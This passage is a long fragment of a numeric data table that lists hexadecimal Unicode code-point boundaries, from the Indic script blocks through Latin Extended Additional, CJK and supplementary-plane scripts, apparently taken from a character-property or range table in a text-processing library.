0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC81, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD58, - 0xD5F, - 0xD62, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE40, - 0xE47, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x104A, - 0x104C, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1362, - 0x1363, - 0x1367, - 0x1369, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166E, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x169D, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1715, - 0x1720, - 0x1732, - 0x1735, - 0x1737, - 0x1740, - 0x1752, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x17DE, - 0x17E0, - 0x17EA, - 0x1802, - 0x1803, - 0x1804, - 0x1808, - 0x1809, - 0x180A, - 0x180B, - 0x180E, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1944, - 0x1946, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A17, - 0x1A1C, - 0x1A20, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AAC, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B5C, - 0x1B5E, - 0x1B60, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BF4, - 0x1C00, - 0x1C24, - 0x1C38, - 0x1C3B, - 0x1C3D, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1D00, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FDC, - 0x1FE0, - 0x1FE8, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x1FFD, - 0x2000, - 0x200B, - 0x200C, - 0x200E, - 0x2010, - 0x2013, - 0x2015, - 0x2018, - 0x2020, - 0x2024, - 0x2025, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x2039, - 0x203B, - 0x203C, - 0x203E, - 0x2045, - 0x2047, - 0x204A, - 0x205F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0x2071, - 0x2072, - 0x207D, - 0x207F, - 0x2080, - 0x208D, - 0x208F, - 0x2090, - 0x209D, - 0x20D0, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2130, - 0x2134, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x213E, - 0x2140, - 0x2145, - 0x2146, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2170, - 0x2180, - 0x2183, - 0x2184, - 0x2185, - 0x2189, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x24B6, - 0x24D0, - 0x24EA, - 0x275B, - 0x2761, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE5, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF2, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x2E2E, - 0x2E2F, - 0x2E30, - 0x2E3C, - 0x2E3D, - 0x2E42, - 0x2E43, - 0x3000, - 0x3001, - 0x3002, - 0x3003, - 0x3005, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0x301D, - 0x3020, - 0x3021, - 0x302A, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA4FF, - 0xA500, - 0xA60D, - 0xA60E, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA6F3, - 0xA6F4, - 0xA6F7, - 0xA6F8, - 0xA717, - 0xA720, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA789, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA78F, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xA7F7, - 0xA7F8, - 0xA7FB, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA840, - 0xA874, - 0xA876, - 0xA878, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8CE, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA90A, - 0xA926, - 0xA92E, - 0xA92F, - 0xA930, - 0xA947, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9C8, - 0xA9CA, - 0xA9CF, - 0xA9D0, - 0xA9DA, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA37, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5D, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF0, - 0xAAF2, - 0xAAF5, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABC0, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE10, - 0xFE12, - 0xFE13, - 0xFE14, - 0xFE17, - 0xFE19, - 0xFE20, - 0xFE30, - 0xFE31, - 0xFE33, - 0xFE35, - 0xFE45, - 0xFE47, - 0xFE49, - 0xFE50, - 0xFE52, - 0xFE53, - 0xFE55, - 0xFE56, - 0xFE58, - 0xFE59, - 0xFE5F, - 0xFE63, - 0xFE64, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF02, - 0xFF08, - 0xFF0A, - 0xFF0C, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1B, - 0xFF1F, - 0xFF20, - 0xFF21, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF41, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF61, - 0xFF62, - 0xFF64, - 0xFF65, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFF9, - 0xFFFC, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x10428, - 0x10450, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A56, - 0x10A58, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x11049, - 0x11066, - 0x11070, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11136, - 0x11140, - 0x11141, - 0x11144, - 0x11150, - 0x11173, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111C7, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111D0, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111DE, - 0x111E0, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11238, - 0x1123A, - 0x1123B, - 0x1123D, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112AA, - 0x112B0, - 0x112DF, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x1144D, - 0x11450, - 0x1145A, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115C2, - 0x115C4, - 0x115C9, - 0x115D8, - 0x115DC, - 0x115DE, - 0x11600, - 0x11630, - 0x11641, - 0x11643, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116AB, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x1173C, - 0x1173F, - 0x118A0, - 0x118C0, - 0x118E0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A42, - 0x11A44, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11A9A, - 0x11A9B, - 0x11A9D, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 